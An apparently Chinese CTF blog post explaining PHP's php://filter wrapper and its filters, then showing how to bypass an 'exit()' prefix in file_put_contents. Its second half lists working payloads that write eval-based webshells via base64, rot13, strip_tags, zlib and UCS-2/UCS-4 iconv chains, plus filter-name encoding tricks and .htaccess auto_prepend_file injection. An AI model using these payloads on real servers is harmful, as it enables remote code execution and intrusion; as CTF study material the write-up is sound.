浅谈 filter伪协议的特性

前言:

对我来说,我以前对filter伪协议不甚了解,这次接触了这一题,就得主动去更加深入地了解一下filter伪协议了。以前呢就知道php://filter/read=convert.base64-encode/resource=[文件名] 这干瘪瘪的一套,用就完了,现在看来深入了解是很有必要的。

何为php://filter

官方文档的解释:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

按我的理解来说:

它是一个php特有的协议,是一个过滤器,用于对 读取 或者 写入 的数据流进行处理,类似中间人的关系

php://filter 参数

php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain,<?php phpinfo();?> 为参考

名称

描述

resource=<要过滤的数据流>

这个参数是必须的。它指定了你要筛选过滤的数据流。

read=<读链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

write=<写链的筛选列表>

该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

1.resource =后面可以接像data://这种格式的内容,对<?php phpinfo();?>base64编码两次

访问一下

解码两次

PS: resource后面使用 php://input 接收的POST流也可以

直接写文件名也可以

2.read & write 一个代表 读,一个代表 写

3.这里base64编码两次,编码之间使用 | 分隔

何为过滤器?

一条熟悉的语句:

php://filter/read=convert.base64-encode/resource=flag.php

//这其中convert.base64-encode 就是一种过滤器

过滤器的类型

根据官方文档,我们可以分成四种过滤器

1.字符串过滤器

string.rot13

介绍一下rot13

ROT-13 编码是一种每一个字母被另一个字母代替的方法。 这个代替字母是由原来的字母向前移动 13 个字母而得到的

payload:

php://filter/read=string.rot13/resource=flag.php

这个是flag.php的内容:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

读取后:

<?cuc

$synt = "{nfq3-4isqg-snxyzx0-48ss}";

?>

想要获取原内容很简单,再rot13编码一次便可以得到flag

string.toupper(将内容全部大写)

payload:

php://filter/read=string.toupper/resource=flag.php

结果:

<?PHP

$FLAG = "{ASD3-4VFDT-FAKLMK0-48FF}";

?>

string.tolower(将内容全部小写)

payload:

php://filter/read=string.tolower/resource=flag.php

结果:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

string.strip_tags

作用:

对于HTML来说,它会去除标签保留标签之间的内容

对于php来说,全杀一个不显示

警告

本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性

flag.php的内容:

<?php

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

<html>

<head>

<meta charset="utf-8">

<title>Home Page</title>

</head>

<body>

<h1>无限大な梦のあとの</h1>

</body>

</html>

结果:

2.转换过滤器(convert.* )

convert.base64-encode & convert.base64-decode

payload:

php://filter/read=convert.base64-encode/resource=flag.php

结果:

PD9waHANCiRmbGFnID0gInthc2QzLTR2ZmR0LWZha2xtazAtNDhmZn0iOw0KPz4gDQo=

convert.quoted-printable-encode 和 convert.quoted-printable-decode

阐释:quoted_printable_decode()函数 quoted_printable_encode()函数相同

Quoted-printable译为可打印字符引用编码,这里就是把一些不可打印的ASCII字符转换为十六进制的形式,下文中会再给出我的理解。

payload:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

结果:

<?php=0D=0A$flag =3D "{asd3-4vfdt-faklmk0-48ff}";=0D=0A?>

这里应该就是将'\n'换成0D0A的形式,如果碰到等号,就会在后面加上3D

convert.iconv.*

*的内容可以是:

UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7

这里特别补充说明一个点:

UCS-2LE.UCS-2BE、utf-7、utf-8

这些编码是可以通过'\n'拼接的,也就是意味着可以绕检测

举个例子:

php://filter/read=convert.iconv.ut%0Af-8.u%0Atf-7/resource=flag.php

如果题目过滤了utf,那么便可以使用此方法绕过(具体能不能使用还得看目标服务器,这个也不是绝对,不过是一个方法,也是一种思路,要多尝试)

结果:

不得不说,这个方法得到的东西太乱了,最好的解码方式就是本地解码

php://filter/read=convert.iconv.utf-7.utf-8/resource=flag.php

// 就是把原来的utf-7和utf-8交换一下位置

3.压缩过滤器

zlib.deflate(压缩)和 zlib.inflate(解压)

在激活 zlib 的前提下可以使用 zlib.* 压缩过滤器。

以为我没有激活,所以演示不了,只能贴一下payload了

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

4.加密过滤器

警告

本特性已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。

这个东西太奇怪了,这里不做讨论

小结

讲了这么多,我必须 在这里提醒你,过滤器不是必选!!可以不用,很多时候不用有妙用。不要以为php://filter必须用过滤器。而且当你使用的是php不认识的过滤器,php不会做任何处理,切记。

先来了解一下file_put_contents这个函数

file_put_contents ( string$filename , mixed$data [, int$flags = 0 [, resource$context ]] ) : int

两个必要参数:

string $filename ->文件的名字

mixed $data ->写入文件的数据

无特别说明,则文件都是被写入当前目录下

也可以通过

@mkdir()

@chdir()

来设置文件存放路径

还有一个关于file_put_contents 的非常有用的知识:

file_put_contents 可以调用伪协议,并且伪协议处理数据时会对过滤器 urldecode一次

举个例子:

传参输入:(字母 t urlencode两次 -->%7%34)

?php://filter/read=string.ro%7%3413/resource=flag.php

地址栏自动解码一次

?php://filter/read=string.ro%7413/resource=flag.php

file_put_contents 解码一次

$content=php://filter/read=string.rot13/resource=flag.php

从而绕过检测

绕过死亡exit有三种情况

情况一

<?php
$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename,"<?php exit();".$content);
?>

死亡前后不一致

BASE64绕过

原理:前面的phpexit是七个字节,而BASE64是四个字节一组转换成三个字节,所以我们这里再添加一个字母补足前面的八个字节后面的内容才会被正确解析为<?php phpinfo();?>

filename=php://filter/convert.base64-decode/resource=shell.php

// 这里不要再添加read= 不然后面的content内容不会被解码

content=aPD9waHAgcGhwaW5mbygpOz8+

rot13绕过

原理:<?php exit(); 经过rot13编码后会变成<?cuc rkvg(); 在PHP不开启short_open_tag时,php不认识,因此绕过

filename=php://filter/string.rot13/resource=shell.php

content=<?cuc cucvasb();?>

过滤器嵌套绕过

原理:清除php原有的内容,再进行base64解码

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

content=?>PD9waHAgcGhwaW5mbygpOz8+

之后生成的shell.php内容就是;

需要注意的就是:string.strip_tags特性已自 PHP 7.3.0 起废弃

如果废弃了,怎么办

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=shell.php

.htaccess的预包含利用

这个方法利用条件苛刻:

1.要知道所要的文件名的名字

2.满足php版本 < 7.3

$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value auto_prepend_file D:\\wamp\\www\\test\flag.php

复现失败,暂时不知道原因,见谅

情况二:

<?php
$content=$_GET['content'];
file_put_contents($content,"<?php exit();".$content);
?>

前后内容相同,也就是这次我写这篇文章的起因。

ROT13绕过

content=php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php

这里存在rot被过滤的情况,可以考虑编码绕过

payload:

php://filter/read=string.ro%7%3413/resource=flag.php

base64编码绕过

payload:

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

过滤器嵌套绕过

payload:

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php

结果:

convert.iconv.*绕过

1.usc-2

usc-2就是对字符两位一反转

payload:

php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSs[ehll;])>?/resource=shell.php

结果:

2.usc-4

原理同上,四位一反转

payload:

php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@%20p(lavOP_$s[TS]leh>?;)/resource=shell.php

3.uft

payload

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

结果:

情况三:

<?php
$content=$_GET['content'];
$filename=$_GET['filename'];
file_put_contents($filename, $content."\njust_test");
?>

payload:

filename=shell.php

content=<?php%20phpinfo();?>

结果:

如果不想要换行符的话,我们可以直接进行 \ 注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果,这个是使用.htaccess文件达到的

payload:

filename=.htaccess

content=php_value%20auto_prepend_file%20C:\\flag%0a%23\

  • 9
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值